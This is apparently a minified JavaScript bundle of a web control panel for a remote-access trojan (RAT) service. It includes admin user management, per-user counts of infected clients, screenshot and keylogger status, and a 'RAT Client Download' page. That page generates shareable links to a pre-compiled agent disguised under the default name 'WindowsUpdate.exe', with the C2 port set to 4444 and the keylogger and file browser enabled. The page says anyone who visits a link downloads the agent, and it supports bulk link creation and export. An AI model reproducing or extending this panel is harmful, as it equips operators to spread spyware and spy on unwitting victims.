font-medium`,children:`Role`}),(0,H.jsx)(`th`,{className:`py-3 px-4 text-left text-slate-300 font-medium`,children:`Created`}),(0,H.jsx)(`th`,{className:`py-3 px-4 text-left text-slate-300 font-medium`,children:`Last Login`}),(0,H.jsx)(`th`,{className:`py-3 px-4 text-left text-slate-300 font-medium`,children:`Status`}),(0,H.jsx)(`th`,{className:`py-3 px-4 text-left text-slate-300 font-medium`,children:`Actions`})]})}),(0,H.jsx)(`tbody`,{className:`divide-y divide-slate-800`,children:e.map(e=>(0,H.jsxs)(`tr`,{className:`cursor-pointer hover:bg-slate-800/50 ${y===e.id?`bg-slate-800/40`:``}`,onClick:()=>b(t=>t===e.id?null:e.id),children:[(0,H.jsx)(`td`,{className:`py-3 px-4`,children:(0,H.jsxs)(`div`,{className:`flex items-center gap-3`,children:[(0,H.jsx)(`div`,{className:`w-8 h-8 rounded-full bg-slate-700 flex items-center justify-center`,children:(0,H.jsx)(qr,{className:`w-4 h-4 text-slate-300`})}),(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`div`,{className:`font-medium text-white`,children:e.username}),(0,H.jsxs)(`div`,{className:`text-xs text-slate-500 font-mono`,title:e.id,children:[`ID: `,B(e.id),`â¦`]})]})]})}),(0,H.jsx)(`td`,{className:`py-3 px-4`,children:(0,H.jsx)(`div`,{className:`flex items-center gap-2`,children:e.role===`admin`?(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)(zr,{className:`w-4 h-4 text-blue-400`}),(0,H.jsx)(`span`,{className:`text-blue-400 font-medium`,children:`Admin`})]}):(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)(Jr,{className:`w-4 h-4 text-slate-400`}),(0,H.jsx)(`span`,{className:`text-slate-300`,children:`User`})]})})}),(0,H.jsx)(`td`,{className:`py-3 px-4 text-slate-300`,children:z(e.created_at)}),(0,H.jsx)(`td`,{className:`py-3 px-4 text-slate-300`,children:z(e.last_login)}),(0,H.jsx)(`td`,{className:`py-3 px-4`,children:(0,H.jsx)(`span`,{className:`px-2 py-1 rounded-full text-xs font-medium ${e.
87is_active?`bg-green-900/30 text-green-400 border border-green-800`:`bg-red-900/30 text-red-400 border border-red-800`}`,children:e.is_active?`Active`:`Inactive`})}),(0,H.jsx)(`td`,{className:`py-3 px-4`,children:(0,H.jsxs)(`div`,{className:`flex items-center gap-2`,children:[(0,H.jsx)(U,{onClick:t=>{t.stopPropagation(),re(e)},variant:`ghost`,className:`p-2 text-slate-400 hover:text-blue-400 hover:bg-slate-800 rounded-lg transition-colors border-0`,title:`Edit user`,children:(0,H.jsx)(Vr,{className:`w-4 h-4`})}),(0,H.jsx)(U,{onClick:t=>{t.stopPropagation(),j(e.id,e.username)},variant:`ghost`,className:`p-2 text-slate-400 hover:text-amber-300 hover:bg-slate-800 rounded-lg transition-colors border-0`,title:`View as this user`,disabled:e.role===`admin`,children:(0,H.jsx)(yr,{className:`w-4 h-4`})}),(0,H.jsx)(U,{onClick:t=>{t.stopPropagation(),v(e.id)},isLoading:m===e.id,variant:`ghost`,className:`p-2 text-slate-400 hover:text-red-400 hover:bg-slate-800 rounded-lg transition-colors border-0`,title:`Delete user`,disabled:e.username===`admin`,children:(0,H.jsx)(Ur,{className:`w-4 h-4`})})]})})]},e.id))})]})}),e.length===0&&(0,H.jsxs)(`div`,{className:`py-12 text-center`,children:[(0,H.jsx)(Jr,{className:`w-12 h-12 text-slate-700 mx-auto mb-4`}),(0,H.jsx)(`p`,{className:`text-slate-500`,children:`No users found`})]})]}),ie&&(0,H.jsxs)(`div`,{className:`bg-slate-900 rounded-xl border border-slate-800 p-5`,children:[(0,H.jsxs)(`div`,{className:`flex items-center justify-between gap-3 mb-4`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsxs)(`h2`,{className:`text-xl font-semibold text-white flex items-center gap-2`,children:[(0,H.jsx)(ur,{className:`w-5 h-5 text-amber-300`}),ie.username,` details`]}),(0,H.jsx)(`p`,{className:`text-slate-400 text-sm mt-1`,children:`User drill-down and context switch`})]}),(0,H.jsxs)(`div`,{className:`flex items-center gap-2`,children:[(0,H.jsxs)(U,{onClick:()=>j(ie.id,ie.username),className:`bg-amber-600 hover:bg-amber-700 text-white border-0`,disabled:ie.role===`admin`,children:[(0,H.jsx)(yr,{className:`w-4 h-4`}),`View As`]}),(0,H.jsxs)(U,{onClick:()=>v(ie.id),className:`bg-red-700 hover:bg-red-800 text-white border-0`,disabled:ie.username===`admin`||m===ie.id,isLoading:m===ie.id,children:[(0,H.jsx)(Ur,{className:`w-4 h-4`}),`Delete User`]})]})]}),x?(0,H.jsx)(`div`,{className:`text-slate-400`,children:`Loading user details...`}):C?(0,H.jsx)(`div`,{className:`bg-red-900/30 border border-red-700 text-red-300 px-4 py-3 rounded-lg`,children:C}):(0,H.jsxs)(H.Fragment,{children:[(0,H.jsxs)(`div`,{className:`grid grid-cols-1 md:grid-cols-4 gap-3 mb-4`,children:[(0,H.jsxs)(`div`,{className:`rounded-lg border border-slate-800 bg-slate-950 p-3`,children:[(0,H.jsx)(`p`,{className:`text-xs text-slate-400`,children:`Clients`}),(0,H.jsx)(`p`,{className:`text-lg text-white font-semibold`,children:T.length}),(0,H.jsxs)(`p`,{className:`text-xs text-slate-500`,children:[ae,` online / `,oe,` offline`]})]}),(0,H.jsxs)(`div`,{className:`rounded-lg border border-slate-800 bg-slate-950 p-3`,children:[(0,H.jsx)(`p`,{className:`text-xs text-slate-400`,children:`Recent Screenshots (24h)`}),(0,H.jsx)(`p`,{className:`text-lg text-white font-semibold`,children:Number(k?.recentActivity?.screenshots??0)})]}),(0,H.jsxs)(`div`,{className:`rounded-lg border border-slate-800 bg-slate-950 p-3`,children:[(0,H.jsx)(`p`,{className:`text-xs text-slate-400`,children:`Keylog Status`}),(0,H.jsx)(`p`,{className:`text-lg text-white font-semibold`,children:se>0?`Active`:`Inactive`}),(0,H.jsxs)(`p`,{className:`text-xs text-slate-500`,children:[se,` active client(s)`]})]}),(0,H.jsxs)(`div`,{className:`rounded-lg border border-slate-800 bg-slate-950 p-3`,children:[(0,H.jsx)(`p`,{className:`text-xs text-slate-400`,children:`Last Activity`}),(0,H.jsx)(`p`,{className:`text-sm text-white font-semibold`,children:ce?z(ce):`No activity`})]})]}),(0,H.jsxs)(`div`,{className:`rounded-lg border border-slate-800 overflow-hidden`,children:[(0,H.jsx)(`div`,{className:`bg-slate-800 px-3 py-2 text-slate-300 text-sm font-medium`,children:`Clients`}),T.length===0?(0,H.jsx)(`div`,{className:`px-3 py-4 text-slate-500 text-sm`,children:`No clients for this user`}
87):(0,H.jsx)(`div`,{className:`divide-y divide-slate-800`,children:T.slice(0,8).map(e=>(0,H.jsxs)(`div`,{className:`px-3 py-2 flex items-center justify-between`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsxs)(`div`,{className:`text-sm text-white`,children:[e.hostname||`Unknown`,` / `,e.username||`Unknown`]}),(0,H.jsxs)(`div`,{className:`text-xs text-slate-500 font-mono`,children:[String(e.id).slice(0,10),`â¦`]})]}),(0,H.jsxs)(`div`,{className:`text-right`,children:[(0,H.jsx)(`div`,{className:`text-xs font-semibold ${Number(e.is_online)===1?`text-green-400`:`text-slate-500`}`,children:Number(e.is_online)===1?`ONLINE`:`OFFLINE`}),(0,H.jsx)(`div`,{className:`text-xs text-slate-500`,children:z(Number(e.lastSeen??e.last_seen??0)||null)})]})]},e.id))})]})]}),M===ie.id&&(0,H.jsx)(`div`,{className:`mt-3 text-xs text-amber-300`,children:`Currently viewing this user context.`})]}),o&&(0,H.jsx)(`div`,{className:`fixed inset-0 bg-black/70 flex items-center justify-center z-50 p-4`,children:(0,H.jsx)(`div`,{className:`bg-slate-900 rounded-xl border border-slate-800 w-full max-w-md`,children:(0,H.jsxs)(`div`,{className:`p-6`,children:[(0,H.jsx)(`h2`,{className:`text-xl font-bold text-white mb-4`,children:`Create New User`}),(0,H.jsxs)(`form`,{onSubmit:ee,className:`space-y-4`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-sm font-medium text-slate-300 mb-1`,children:`Username`}),(0,H.jsx)(`input`,{type:`text`,value:P.username,onChange:e=>F({...P,username:e.target.value}),className:`w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-blue-500`,required:!0})]}),(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-sm font-medium text-slate-300 mb-1`,children:`Password`}),(0,H.jsx)(`input`,{type:`password`,value:P.password,onChange:e=>F({...P,password:e.target.value}),className:`w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-blue-500`,required:!0})]}),(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-sm font-medium text-slate-300 mb-1`,children:`Confirm Password`}),(0,H.jsx)(`input`,{type:`password`,value:P.confirmPassword,onChange:e=>F({...P,confirmPassword:e.target.value}),className:`w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-blue-500`,required:!0})]}),(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-sm font-medium text-slate-300 mb-1`,children:`Role`}),(0,H.jsxs)(`select`,{value:P.role,onChange:e=>F({...P,role:e.target.value}),className:`w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-blue-500`,children:[(0,H.jsx)(`option`,{value:`user`,children:`User`}),(0,H.jsx)(`option`,{value:`admin`,children:`Admin`})]})]}),(0,H.jsxs)(`div`,{className:`flex gap-3 pt-4`,children:[(0,H.jsx)(U,{type:`submit`,isLoading:f,className:`flex-1 bg-blue-600 hover:bg-blue-700 text-white border-0`,children:`Create User`}),(0,H.jsx)(U,{type:`button`,onClick:()=>s(!1),disabled:f,className:`flex-1 bg-slate-800 hover:bg-slate-700 text-slate-300 border-0`,children:`Cancel`})]})]})]})})}),c&&u&&(0,H.jsx)(`div`,{className:`fixed inset-0 bg-black/70 flex items-center justify-center z-50 p-4`,children:(0,H.jsx)(`div`,{className:`bg-slate-900 rounded-xl border border-slate-800 w-full max-w-md`,children:(0,H.jsxs)(`div`,{className:`p-6`,children:[(0,H.jsxs)(`h2`,{className:`text-xl font-bold text-white mb-4`,children:[`Edit User: `,u.username]}),(0,H.jsxs)(`form`,{onSubmit:te,className:`space-y-4`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-sm font-medium text-slate-300 mb-1`,children:`Username`}),(0,H.jsx)(`input`,{type:`text`,value:I.username,disabled:!0,className:`w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-slate-400`}),(0,H.jsx)(`p`,{className:`text-xs text-slate-500 mt-1`,children:`Username cannot be changed`})]}),(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-sm font-medium text-slate-300 mb-1`,children:`Role`}),(0,H.jsxs)(`select`,{value:I.role,onChange:e=>L({...I,role:e.target.value}),className:`w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-blue-500`,children:[(0,H.jsx)(`option`,{value:`user`,children:`User`}),(0,H.jsx)(`option`,{value:`admin`,children:`Admin`})]})]}),(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-sm font-medium text-slate-300 mb-1`,children:`Status`}),(0,H.jsxs)(`select`,{value:I.is_active,onChange:e=>L({...I,is_active:parseInt(e.target.value)}),className:`w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-blue-500`,children:[(0,H.jsx)(`option`,{value:1,children:`Active`}),(0,H.jsx)(`option`,{value:0,children:`Inactive`})]})]}),(0,H.jsxs)(`div`,{className:`flex gap-3 pt-4`,children:[(0,H.jsx)(U,{type:`submit`,isLoading:f,className:`flex-1 bg-blue-600 hover:bg-blue-700 text-white border-0`,children:`Save Changes`}),(0,H.jsx)(U,{type:`button`,onClick:()=>{l(!1),d(null)},disabled:f,className:`flex-1 bg-slate-800 hover:bg-slate-700 text-slate-300 border-0`,children:`Cancel`})]})]})]})})}
87),(0,H.jsx)(Zr,{open:g!==null,title:`DELETE USER`,message:`Permanently delete user "${e.find(e=>e.id===g)?.username||g}"? This action cannot be undone and will remove all associated data.`,confirmLabel:`DELETE`,cancelLabel:`ABORT`,variant:`danger`,onConfirm:()=>{g!==null&&ne(g),v(null)},onCancel:()=>v(null)})]})}var Xa=[{value:`csv`,label:`CSV`,ext:`csv`,mime:`text/csv`},{value:`txt`,label:`TXT`,ext:`txt`,mime:`text/plain`},{value:`tsv`,label:`TSV`,ext:`tsv`,mime:`text/tab-separated-values`},{value:`json`,label:`JSON`,ext:`json`,mime:`application/json`}];function Za(e){return/[",\n\r]/.test(e)?`"${e.replace(/"/g,`""`)}"`:e}function Qa(e,t){switch(t){case`csv`:return[`name,url`,...e.map(e=>`${Za(e.name)},${Za(e.url)}`)].join(`\r 88`)+`\r 89`;case`tsv`:return[`name url`,...e.map(e=>`${e.name.replace(/[\t\r\n]/g,` `)}\t${e.url}`)].join(` 90`)+` 91`;case`json`:return JSON.stringify(e.map(({name:e,url:t})=>({name:e,url:t})),null,2)+` 92`;default:return e.map(e=>`${e.name}: ${e.url}`).join(` 93`)+` 94`}}function $a({links:e,onClose:t,onExported:n}){let[r,i]=(0,_.useState)(`csv`),[a,o]=(0,_.useState)(()=>new Set(e.map(e=>e.token))),s=e.length>0&&a.size===e.length,c=e.filter(e=>a.has(e.token)).length;(0,_.useEffect)(()=>{let e=e=>{e.key===`Escape`&&t()};return window.addEventListener(`keydown`,e),()=>window.removeEventListener(`keydown`,e)},[t]);let l=e=>{o(t=>{let n=new Set(t);return n.has(e)?n.delete(e):n.add(e),n})};return(0,H.jsx)(`div`,{className:`fixed inset-0 z-[9998] flex items-center justify-center bg-black/70 backdrop-blur-sm p-4`,onClick:t,children:(0,H.jsxs)(`div`,{className:`w-full max-w-md bg-slate-900 border border-blue-800/50 rounded-xl shadow-2xl`,onClick:e=>e.stopPropagation(),children:[(0,H.jsxs)(`div`,{className:`flex items-center justify-between px-5 py-3.5 border-b border-slate-800`,children:[(0,H.jsx)(`h3`,{className:`text-base font-semibold text-white`,children:`Export Links`}),(0,H.jsx)(`button`,{onClick:t,className:`p-1 rounded text-slate-500 hover:text-white hover:bg-slate-700 transition-colors`,title:`Close`,children:(0,H.jsx)(Yr,{className:`w-4 h-4`})})]}),(0,H.jsxs)(`div`,{className:`px-5 pt-4`,children:[(0,H.jsx)(`label`,{className:`block text-xs font-medium text-slate-300 mb-2`,children:`File format`}),(0,H.jsx)(`div`,{className:`grid grid-cols-4 gap-2`,children:Xa.map(e=>(0,H.jsx)(`button`,{onClick:()=>i(e.value),className:`px-3 py-2 text-xs font-medium rounded-lg border transition-colors ${r===e.value?`format-selected bg-blue-700 border-blue-500 text-white`:`bg-slate-800 border-slate-700 text-slate-300 hover:bg-slate-700`}`,children:e.label},e.value))})]}),(0,H.jsxs)(`div`,{className:`px-5 pt-4`,children:[(0,H.jsxs)(`div`,{className:`flex items-center justify-between mb-2`,children:[(0,H.jsxs)(`label`,{className:`block text-xs font-medium text-slate-300`,children:[`Links (`,c,` of `,e.length,` selected)`]}),e.length>0&&(0,H.jsxs)(`button`,{onClick:()=>o(s?new Set:new Set(e.map(e=>e.token))),className:`flex items-center gap-1.5 text-xs text-slate-300 hover:text-white transition-colors`,children:[s?(0,H.jsx)(Br,{className:`w-4 h-4 text-green-400`}):(0,H.jsx)(Hr,{className:`w-4 h-4 text-slate-400`}),s?`Deselect All`:`Select All`]})]}),(0,H.jsxs)(`div`,{className:`max-h-56 overflow-y-auto rounded-lg border border-slate-700 divide-y divide-slate-800`,children:[e.length===0&&(0,H.jsx)(`div`,{className:`px-3 py-4 text-center text-slate-500 text-xs`,children:`No custom links to export`}),e.map(e=>{let t=a.has(e.token);return(0,H.jsxs)(`div`,{onClick:()=>l(e.token),className:`flex items-center gap-2 px-3 py-2 cursor-pointer transition-colors ${t?`bg-green-900/40`:`hover:bg-slate-800`}`,children:[t?(0,H.jsx)(Br,{className:`w-4 h-4 text-green-400 shrink-0`}):(0,H.jsx)(Hr,{className:`w-4 h-4 text-slate-500 shrink-0`}),(0,H.jsxs)(`div`,{className:`flex-1 min-w-0`,children:[(0,H.jsx)(`div`,{className:`text-xs text-slate-200 truncate`,children:e.name}),(0,H.jsx)(`code`,{className:`text-[11px] text-green-400/80 block truncate`,children:e.url})]})]},e.token)})]})]}),(0,H.jsxs)(`div`,{className:`flex items-center justify-end gap-2 px-5 py-4 mt-2 border-t border-slate-800`,children:[(0,H.jsx)(`button`,{onClick:t,className:`px-3 py-1.5 bg-slate-700 hover:bg-slate-600 text-slate-300 text-xs rounded-lg transition-colors`,children:`Cancel`}),(0,H.jsxs)(`button`,{onClick:()=>
94{if(c===0)return;let i=Xa.find(e=>e.value===r)??Xa[0],o=e.filter(e=>a.has(e.token)),s=`links-export-${new Date().toISOString().slice(0,10)}.${i.ext}`,l=new Blob([Qa(o,r)],{type:i.mime}),u=URL.createObjectURL(l),d=document.createElement(`a`);d.href=u,d.download=s,document.body.appendChild(d),d.click(),document.body.removeChild(d),URL.revokeObjectURL(u),n(o.length,s),t()},disabled:c===0,className:`flex items-center gap-1.5 px-3 py-1.5 bg-blue-700 hover:bg-blue-600 disabled:opacity-40 disabled:cursor-not-allowed text-white text-xs rounded-lg transition-colors`,children:[(0,H.jsx)(vr,{className:`w-3.5 h-3.5`}),`Export`,c>0?` (${c})`:``]})]})]})})}function eo(){let[e,t]=(0,_.useState)(null),[n,r]=(0,_.useState)(!0),[i,a]=(0,_.useState)({server_ip:``,server_port:4444,user_id:``,beacon_interval:3e4,enable_screenshots:!0,enable_keylogger:!0,enable_file_browser:!0}),[o,s]=(0,_.useState)(null),[c,l]=(0,_.useState)(null),[u,d]=(0,_.useState)(!1),[f,p]=(0,_.useState)(`WindowsUpdate.exe`),[m,h]=(0,_.useState)(``),[g,v]=(0,_.useState)(!1),[y,b]=(0,_.useState)([]),[x,S]=(0,_.useState)(!1),[C,w]=(0,_.useState)(``),[T,E]=(0,_.useState)(null),[D,O]=(0,_.useState)(null),[k,A]=(0,_.useState)(null),[j,M]=(0,_.useState)(!1),[N,P]=(0,_.useState)(new Set),[F,I]=(0,_.useState)(!1),[L,R]=(0,_.useState)(``),[ee,te]=(0,_.useState)(!1),ne=(0,_.useRef)(null),{subscribe:z,send:B}=pi();(0,_.useEffect)(()=>z(`connected`,e=>{e.downloadUrl&&l(e.downloadUrl),e.c2Host&&a(t=>({...t,server_ip:e.c2Host})),e.c2Port&&a(t=>({...t,server_port:e.c2Port})),e.downloadFilename&&(p(e.downloadFilename),h(e.downloadFilename)),B({type:`db_query`,query:`get_download_tokens`})}),[z,B]),(0,_.useEffect)(()=>z(`db_response`,e=>{e.query===`get_download_tokens`&&Array.isArray(e.data)&&b(e.data)}),[z]),(0,_.useEffect)(()=>z(`download_filename_updated`,e=>{e.filename&&(p(e.filename),v(!0),setTimeout(()=>v(!1),2e3)),e.downloadUrl&&l(e.downloadUrl)}),[z]),(0,_.useEffect)(()=>{let e=localStorage.getItem(`user`);if(e){let n=JSON.parse(e);t(n),a(e=>({...e,user_id:n.id}))}r(!1)},[]);let re=()=>{if(!c){s(`Personal deploy link not available. Please refresh the page.`);return}let e=document.createElement(`a`);e.href=c,document.body.appendChild(e),e.click(),document.body.removeChild(e)},ie=e=>{let t=new FileReader;t.onload=e=>{let t=String(e.target?.result||``).replace(/^\uFEFF/,``),n=t.slice(0,8192),r=0;for(let e=0;e<n.length;e++){let t=n.charCodeAt(e);(t<9||t>13&&t<32||t===127)&&r++}let i=/%PDF-/.test(n)||/Quartz PDFContext/.test(n)||/%%EOF/.test(n),a=/^\{?\\rtf/.test(n),o=/<!DOCTYPE\s+html|<html[\s>]/i.test(n);if(t.includes(`\0`)||/^\x89PNG/.test(t)||/^\xFF\xD8\xFF/.test(t)||i||a||o||n.length>0&&r/n.length>.1){A(`That file is not plain text (looks like a PDF, image, Word/RTF or HTML file). Please upload a .txt file with one link name per line.`),setTimeout(()=>A(null),7e3);return}let s=new Set,c=[];for(let e of t.split(/\r\n|\r|\n/)){let t=e.trim();!t||s.has(t)||t.length>80||/[\x00-\x1F\x7F]/.test(t)||/^[A-Za-z0-9][A-Za-z0-9 _\-().\[\]&'+,;@#!$%^*~=]{0,79}$/.test(t)&&(s.add(t),c.push(t))}if(c.length===0){A(`No valid link names found in that file. It should be a plain .txt file with one link name per line.`),setTimeout(()=>A(null),6e3);return}if(c.length>50){A(`Found ${c.length} names (${c.slice(0,4).join(`, `)}, ...) â that's over the 50 limit, so nothing was created. That file is probably not a plain text list.`),setTimeout(()=>A(null),9e3);return}c.forEach(e=>{B({type:`db_query`,query:`create_custom_token`,label:e})});let l=c.slice(0,5).join(`, `)+(c.length>5?`, ...`:``);A(`Creating ${c.length} link${c.length>1?`s`:``}: ${l}`),setTimeout(()=>{A(`Created ${c.length} link${c.length>1?`s`:``}: ${l}`),setTimeout(()=>A(null),5e3),B({type:`db_query`,query:`get_download_tokens`})},800)},t.readAsText(e)},ae=e=>{P(t=>{let n=new Set(t);return n.has(e)?n.delete(e):n.add(e),n})},oe=y.filter(e=>!e.is_primary),se=oe.length>0&&N.size===oe.length,ce=oe.map(e=>{let t=e.label||`agent`,n=t.includes(`.`)?t:t+`.exe`;return{token:e.token,name:e.label||`Custom`,url:`${window.location.origin}/download/${e.token}/${n}`}}),le=(e,t)=>
94{A(`Exported ${e} link${e===1?``:`s`} to ${t}`),setTimeout(()=>A(null),5e3)},ue=y.filter(e=>{let t=L.toLowerCase().trim();if(!t)return!0;let n=(e.is_primary?`main`:e.label||`custom`).toLowerCase(),r=e.token.toLowerCase(),i=(e.custom_filename||``).toLowerCase();return n.includes(t)||r.includes(t)||i.includes(t)}),de=()=>{P(se?new Set:new Set(oe.map(e=>e.token)))},fe=()=>{if(N.size===0)return;let e=N.size;N.forEach(e=>{B({type:`db_query`,query:`delete_custom_token`,token:e})}),M(!1),P(new Set),A(`Deleting ${e} link${e>1?`s`:``}...`),setTimeout(()=>{A(`Deleted ${e} link${e>1?`s`:``}`),setTimeout(()=>A(null),4e3),B({type:`db_query`,query:`get_download_tokens`})},800)};return n?(0,H.jsx)(`div`,{className:`flex items-center justify-center h-64`,children:(0,H.jsx)(`div`,{className:`text-slate-400`,children:`Loading...`})}):e?(0,H.jsxs)(H.Fragment,{children:[(0,H.jsxs)(`div`,{className:`space-y-6`,children:[(0,H.jsxs)(`div`,{className:`flex items-center justify-between`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h1`,{className:`text-3xl font-bold text-white`,children:`RAT Client Download`}),(0,H.jsx)(`p`,{className:`text-slate-400 mt-1`,children:`Generate and download a custom RAT client configured for your account`})]}),(0,H.jsx)(qr,{className:`w-8 h-8 text-slate-600`})]}),(0,H.jsxs)(`div`,{className:`bg-slate-900 rounded-xl border border-blue-800/50 p-5`,children:[(0,H.jsxs)(`div`,{className:`flex items-center justify-between mb-3`,children:[(0,H.jsxs)(`div`,{className:`flex items-center gap-2`,children:[(0,H.jsx)(Er,{className:`w-4 h-4 text-blue-400`}),(0,H.jsx)(`h2`,{className:`text-base font-semibold text-white`,children:`Your Personal Deploy Link`})]}),(0,H.jsxs)(`div`,{className:`flex items-center gap-2`,children:[(0,H.jsxs)(`button`,{onClick:()=>ne.current?.click(),className:`flex items-center gap-1 px-2.5 py-1.5 bg-slate-700 hover:bg-slate-600 text-white text-xs rounded-lg transition-colors`,title:`Upload a .txt file with link names (one per line)`,children:[(0,H.jsx)(Gr,{className:`w-3.5 h-3.5`}),`Upload Names`]}),(0,H.jsxs)(`button`,{onClick:()=>te(!0),disabled:ce.length===0,className:`flex items-center gap-1 px-2.5 py-1.5 bg-slate-700 hover:bg-slate-600 disabled:opacity-40 disabled:cursor-not-allowed text-white text-xs rounded-lg transition-colors`,title:`Export links to a CSV, TXT, TSV or JSON file`,children:[(0,H.jsx)(br,{className:`w-3.5 h-3.5`}),`Export`]}),(0,H.jsxs)(`button`,{onClick:()=>{M(e=>!e),P(new Set)},className:`flex items-center gap-1 px-2.5 py-1.5 text-xs rounded-lg transition-colors ${j?`bg-green-700 hover:bg-green-600 text-white`:`bg-slate-700 hover:bg-slate-600 text-white`}`,title:j?`Exit selection mode`:`Select links for mass delete`,children:[j?(0,H.jsx)(Yr,{className:`w-3.5 h-3.5`}):(0,H.jsx)(Dr,{className:`w-3.5 h-3.5`}),j?`Done`:`Select`]}),(0,H.jsxs)(`button`,{onClick:()=>S(!0),className:`flex items-center gap-1 px-2.5 py-1.5 bg-blue-700 hover:bg-blue-600 text-white text-xs rounded-lg transition-colors`,title:`Create custom deploy link`,children:[(0,H.jsx)(Mr,{className:`w-3.5 h-3.5`}),`New Link`]})]})]}),(0,H.jsx)(`p`,{className:`text-xs text-slate-400 mb-4`,children:`Share these URLs â anyone who visits downloads the pre-compiled agent. Clients appear in your account.`}),k&&(0,H.jsx)(`div`,{className:`mb-3 px-3 py-2 bg-slate-800 border border-slate-700 text-slate-300 text-xs rounded-lg`,children:k}),(0,H.jsx)(`input`,{ref:ne,type:`file`,accept:`.txt,.text,text/plain`,className:`hidden`,onChange:e=>{let t=e.target.files?.[0];t&&ie(t),e.target.value=``}}),j&&(0,H.jsxs)(`div`,{className:`mb-3 flex items-center gap-3 bg-slate-800/70 border border-slate-700 rounded-lg px-3 py-2`,children:[(0,H.jsxs)(`button`,{onClick:de,className:`flex items-center gap-2 text-xs text-slate-300 hover:text-white transition-colors`,title:se?`Deselect all links`:`Select all links`,children:[se?(0,H.jsx)(Br,{className:`w-4 h-4 text-green-400`}):(0,H.jsx)(Hr,{className:`w-4 h-4 text-slate-400`}),se?`Deselect All`:`Select All`]}),(0,H.jsxs)(`div`,{className:`flex-1 text-xs text-slate-400`,children:[N.size,` of `,oe.length,` selected`]}),(0,H.jsxs)(`button`,{onClick:()=>{N.size>0&&I(!0)},disabled:N.size===0,className:`flex items-center gap-1 px-3 py-1.5 bg-red-700 hover:bg-red-600 disabled:opacity-40 disabled:cursor-not-allowed text-white text-xs rounded-lg transition-colors`,title:`Delete all selected links`,children:[(0,H.jsx)(Ur,{className:`w-3.5 h-3.5`}),`Delete Selected (`,N.size,`)`]})]}),(0,H.jsxs)(`div`,{className:`mb-4 pt-3 border-t border-slate-700`,children:[(0,H.jsx)(`label`,{className:`block text-xs font-medium text-slate-300 mb-2`,children:`Search Links`}),(0,H.jsxs)(`div`,{className:`relative`,children:[(0,H.jsx)(Fr,{className:`absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-slate-500 pointer-events-none`}),(0,H.jsx)(`input`,{type:`text`,placeholder:`Search links by title...`,value:L,onChange:e=>R(e.target.value),className:`w-full bg-slate-950 border border-slate-600 text-slate-100 text-sm rounded-lg pl-9 pr-9 py-2.5 focus:border-blue-500 focus:ring-2 focus:ring-blue-500/20 focus:outline-none placeholder:text-slate-500 transition`}),L&&(0,H.jsx)(`button`,{type:`button`,onClick:()=>R(``),className:`absolute right-3 top-1/2 -translate-y-1/2 text-slate-500 hover:text-slate-200 transition-colors`,title:`Clear search`,children:(0,H.jsx)(Yr,{className:`w-4 h-4`})})]}),y.length>0&&(0,H.jsx)(`p`,{className:`text-xs text-slate-400 mt-2`,children:L.trim()?`Showing ${ue.length} of ${y.length} links`:`${y.length} link${y.length===1?``:`s`}`})]}),(0,H.jsxs)(`div`,{className:`space-y-2`,children:[ue.map(e=>{let t=window.location.origin,n=e.is_primary?e.custom_filename||f:e.label||`agent`,r=n.includes(`.`)?n:n+`.exe`,i=`${t}/download/${e.token}/${r}`,a=T===e.token,o=!e.is_primary&&N.has(e.token);return(0,H.jsxs)(`div`,{className:`flex items-center gap-2 rounded-lg px-3 py-2 ${o?`bg-green-900/40 border border-green-700`:`bg-slate-800`}`,children:[j&&!e.is_primary&&(0,H.jsx)(`button`,{onClick:()=>ae(e.token),className:`shrink-0 p-1 rounded transition-colors`,title:o?`Deselect`:`Select`,children:o?(0,H.jsx)(Br,{className:`w-4 h-4 text-green-400`}):(0,H.jsx)(Hr,{className:`w-4 h-4 text-slate-500 hover:text-slate-300`})}),(0,H.jsxs)(`div`,{className:`flex-1 min-w-0`,children:[(0,H.jsx)(`div`,{className:`flex items-center gap-2`,children:e.is_primary?(0,H.jsx)(`span`,{className:`text-xs text-blue-400 font-medium shrink-0`,children:`Main`}):(0,H.jsx)(`span`,{className:`text-xs text-slate-400 shrink-0`,children:e.label||`Custom`})}),(0,H.jsx)(`code`,{className:`text-green-400 text-xs truncate block`,children:i})]}),(0,H.jsx)(`button`,{onClick:()=>{navigator.clipboard.writeText(i),E(e.token),setTimeout(()=>E(null),2e3)},className:`shrink-0 p-1.5 rounded transition-colors ${a?`bg-green-900/40 text-green-400`:`hover:bg-slate-700 text-slate-400 hover:text-white`}`,title:a?`Copied!`:`Copy`,children:a?(0,H.jsx)(fr,{className:`w-3.5 h-3.5`}):(0,H.jsx)(gr,{className:`w-3.5 h-3.5`})}),(0,H.jsx)(`a`,{href:i,className:`shrink-0 p-1.5 hover:bg-slate-700 rounded text-slate-400 hover:text-white transition-colors`,title:`Download`,children:(0,H.jsx)(vr,{className:`w-3.5 h-3.5`})}),!e.is_primary&&!j&&(0,H.jsx)(`button`,{onClick:()=>O(e),className:`shrink-0 p-1.5 hover:bg-red-900/40 rounded text-slate-600 hover:text-red-400 transition-colors`,title:`Delete`,children:(0,H.jsx)(Ur,{className:`w-3.5 h-3.5`})})]},e.token)}
